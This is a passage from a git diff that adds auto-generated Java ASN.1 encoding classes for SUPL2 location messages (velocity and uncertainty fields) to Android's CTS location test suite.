+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refCIType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class tAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_tAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tAType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tAType != null) {
+ return ImmutableList.of(TAG_tAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tAType from encoded stream.
+ */
+ public static tAType fromPerUnaligned(byte[] encodedBytes) {
+ tAType result = new tAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tAType from encoded stream.
+ */
+ public static tAType fromPerAligned(byte[] encodedBytes) {
+ tAType result = new tAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "tAType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GsmCellInformation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandveruncert.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandveruncert.java
new file mode 100755
index 0000000..47ae887
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandveruncert.java
@@ -0,0 +1,1017 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Horandveruncert extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Horandveruncert
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Horandveruncert() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Horandveruncert;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Horandveruncert != null) {
+ return ImmutableList.of(TAG_Horandveruncert);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Horandveruncert from encoded stream.
+ */
+ public static Horandveruncert fromPerUnaligned(byte[] encodedBytes) {
+ Horandveruncert result = new Horandveruncert();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Horandveruncert from encoded stream.
+ */
+ public static Horandveruncert fromPerAligned(byte[] encodedBytes) {
+ Horandveruncert result = new Horandveruncert();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Horandveruncert.verdirectType verdirect_;
+ public Horandveruncert.verdirectType getVerdirect() {
+ return verdirect_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horandveruncert.verdirectType
+ */
+ public void setVerdirect(Asn1Object value) {
+ this.verdirect_ = (Horandveruncert.verdirectType) value;
+ }
+ public Horandveruncert.verdirectType setVerdirectToNewInstance() {
+ verdirect_ = new Horandveruncert.verdirectType();
+ return verdirect_;
+ }
+
+ private Horandveruncert.bearingType bearing_;
+ public Horandveruncert.bearingType getBearing() {
+ return bearing_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horandveruncert.bearingType
+ */
+ public void setBearing(Asn1Object value) {
+ this.bearing_ = (Horandveruncert.bearingType) value;
+ }
+ public Horandveruncert.bearingType setBearingToNewInstance() {
+ bearing_ = new Horandveruncert.bearingType();
+ return bearing_;
+ }
+
+ private Horandveruncert.horspeedType horspeed_;
+ public Horandveruncert.horspeedType getHorspeed() {
+ return horspeed_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horandveruncert.horspeedType
+ */
+ public void setHorspeed(Asn1Object value) {
+ this.horspeed_ = (Horandveruncert.horspeedType) value;
+ }
+ public Horandveruncert.horspeedType setHorspeedToNewInstance() {
+ horspeed_ = new Horandveruncert.horspeedType();
+ return horspeed_;
+ }
+
+ private Horandveruncert.verspeedType verspeed_;
+ public Horandveruncert.verspeedType getVerspeed() {
+ return verspeed_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horandveruncert.verspeedType
+ */
+ public void setVerspeed(Asn1Object value) {
+ this.verspeed_ = (Horandveruncert.verspeedType) value;
+ }
+ public Horandveruncert.verspeedType setVerspeedToNewInstance() {
+ verspeed_ = new Horandveruncert.verspeedType();
+ return verspeed_;
+ }
+
+ private Horandveruncert.horuncertspeedType horuncertspeed_;
+ public Horandveruncert.horuncertspeedType getHoruncertspeed() {
+ return horuncertspeed_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horandveruncert.horuncertspeedType
+ */
+ public void setHoruncertspeed(Asn1Object value) {
+ this.horuncertspeed_ = (Horandveruncert.horuncertspeedType) value;
+ }
+ public Horandveruncert.horuncertspeedType setHoruncertspeedToNewInstance() {
+ horuncertspeed_ = new Horandveruncert.horuncertspeedType();
+ return horuncertspeed_;
+ }
+
+ private Horandveruncert.veruncertspeedType veruncertspeed_;
+ public Horandveruncert.veruncertspeedType getVeruncertspeed() {
+ return veruncertspeed_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horandveruncert.veruncertspeedType
+ */
+ public void setVeruncertspeed(Asn1Object value) {
+ this.veruncertspeed_ = (Horandveruncert.veruncertspeedType) value;
+ }
+ public Horandveruncert.veruncertspeedType setVeruncertspeedToNewInstance() {
+ veruncertspeed_ = new Horandveruncert.veruncertspeedType();
+ return veruncertspeed_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getVerdirect() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVerdirect();
+ }
+
+ @Override public void setToNewInstance() {
+ setVerdirectToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandveruncert.verdirectType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "verdirect : "
+ + getVerdirect().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBearing() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBearing();
+ }
+
+ @Override public void setToNewInstance() {
+ setBearingToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandveruncert.bearingType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bearing : "
+ + getBearing().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getHorspeed() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getHorspeed();
+ }
+
+ @Override public void setToNewInstance() {
+ setHorspeedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandveruncert.horspeedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "horspeed : "
+ + getHorspeed().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getVerspeed() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVerspeed();
+ }
+
+ @Override public void setToNewInstance() {
+ setVerspeedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandveruncert.verspeedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "verspeed : "
+ + getVerspeed().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getHoruncertspeed() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getHoruncertspeed();
+ }
+
+ @Override public void setToNewInstance() {
+ setHoruncertspeedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandveruncert.horuncertspeedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "horuncertspeed : "
+ + getHoruncertspeed().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getVeruncertspeed() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVeruncertspeed();
+ }
+
+ @Override public void setToNewInstance() {
+ setVeruncertspeedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandveruncert.veruncertspeedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "veruncertspeed : "
+ + getVeruncertspeed().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class verdirectType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_verdirectType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public verdirectType() {
+ super();
+ setMinSize(1);
+setMaxSize(1);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_verdirectType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_verdirectType != null) {
+ return ImmutableList.of(TAG_verdirectType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new verdirectType from encoded stream.
+ */
+ public static verdirectType fromPerUnaligned(byte[] encodedBytes) {
+ verdirectType result = new verdirectType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new verdirectType from encoded stream.
+ */
+ public static verdirectType fromPerAligned(byte[] encodedBytes) {
+ verdirectType result = new verdirectType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "verdirectType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bearingType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_bearingType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bearingType() {
+ super();
+ setMinSize(9);
+setMaxSize(9);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bearingType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bearingType != null) {
+ return ImmutableList.of(TAG_bearingType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bearingType from encoded stream.
+ */
+ public static bearingType fromPerUnaligned(byte[] encodedBytes) {
+ bearingType result = new bearingType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bearingType from encoded stream.
+ */
+ public static bearingType fromPerAligned(byte[] encodedBytes) {
+ bearingType result = new bearingType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bearingType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class horspeedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_horspeedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public horspeedType() {
+ super();
+ setMinSize(16);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_horspeedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_horspeedType != null) {
+ return ImmutableList.of(TAG_horspeedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new horspeedType from encoded stream.
+ */
+ public static horspeedType fromPerUnaligned(byte[] encodedBytes) {
+ horspeedType result = new horspeedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new horspeedType from encoded stream.
+ */
+ public static horspeedType fromPerAligned(byte[] encodedBytes) {
+ horspeedType result = new horspeedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "horspeedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class verspeedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_verspeedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public verspeedType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_verspeedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_verspeedType != null) {
+ return ImmutableList.of(TAG_verspeedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new verspeedType from encoded stream.
+ */
+ public static verspeedType fromPerUnaligned(byte[] encodedBytes) {
+ verspeedType result = new verspeedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new verspeedType from encoded stream.
+ */
+ public static verspeedType fromPerAligned(byte[] encodedBytes) {
+ verspeedType result = new verspeedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "verspeedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class horuncertspeedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_horuncertspeedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public horuncertspeedType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_horuncertspeedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_horuncertspeedType != null) {
+ return ImmutableList.of(TAG_horuncertspeedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new horuncertspeedType from encoded stream.
+ */
+ public static horuncertspeedType fromPerUnaligned(byte[] encodedBytes) {
+ horuncertspeedType result = new horuncertspeedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new horuncertspeedType from encoded stream.
+ */
+ public static horuncertspeedType fromPerAligned(byte[] encodedBytes) {
+ horuncertspeedType result = new horuncertspeedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "horuncertspeedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class veruncertspeedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_veruncertspeedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public veruncertspeedType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_veruncertspeedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_veruncertspeedType != null) {
+ return ImmutableList.of(TAG_veruncertspeedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new veruncertspeedType from encoded stream.
+ */
+ public static veruncertspeedType fromPerUnaligned(byte[] encodedBytes) {
+ veruncertspeedType result = new veruncertspeedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new veruncertspeedType from encoded stream.
+ */
+ public static veruncertspeedType fromPerAligned(byte[] encodedBytes) {
+ veruncertspeedType result = new veruncertspeedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "veruncertspeedType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Horandveruncert = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandvervel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandvervel.java
new file mode 100755
index 0000000..1106fdb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandvervel.java
@@ -0,0 +1,733 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Horandvervel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Horandvervel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Horandvervel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Horandvervel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Horandvervel != null) {
+ return ImmutableList.of(TAG_Horandvervel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Horandvervel from encoded stream.
+ */
+ public static Horandvervel fromPerUnaligned(byte[] encodedBytes) {
+ Horandvervel result = new Horandvervel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Horandvervel from encoded stream.
+ */
+ public static Horandvervel fromPerAligned(byte[] encodedBytes) {
+ Horandvervel result = new Horandvervel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Horandvervel.verdirectType verdirect_;
+ public Horandvervel.verdirectType getVerdirect() {
+ return verdirect_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horandvervel.verdirectType
+ */
+ public void setVerdirect(Asn1Object value) {
+ this.verdirect_ = (Horandvervel.verdirectType) value;
+ }
+ public Horandvervel.verdirectType setVerdirectToNewInstance() {
+ verdirect_ = new Horandvervel.verdirectType();
+ return verdirect_;
+ }
+
+ private Horandvervel.bearingType bearing_;
+ public Horandvervel.bearingType getBearing() {
+ return bearing_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horandvervel.bearingType
+ */
+ public void setBearing(Asn1Object value) {
+ this.bearing_ = (Horandvervel.bearingType) value;
+ }
+ public Horandvervel.bearingType setBearingToNewInstance() {
+ bearing_ = new Horandvervel.bearingType();
+ return bearing_;
+ }
+
+ private Horandvervel.horspeedType horspeed_;
+ public Horandvervel.horspeedType getHorspeed() {
+ return horspeed_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horandvervel.horspeedType
+ */
+ public void setHorspeed(Asn1Object value) {
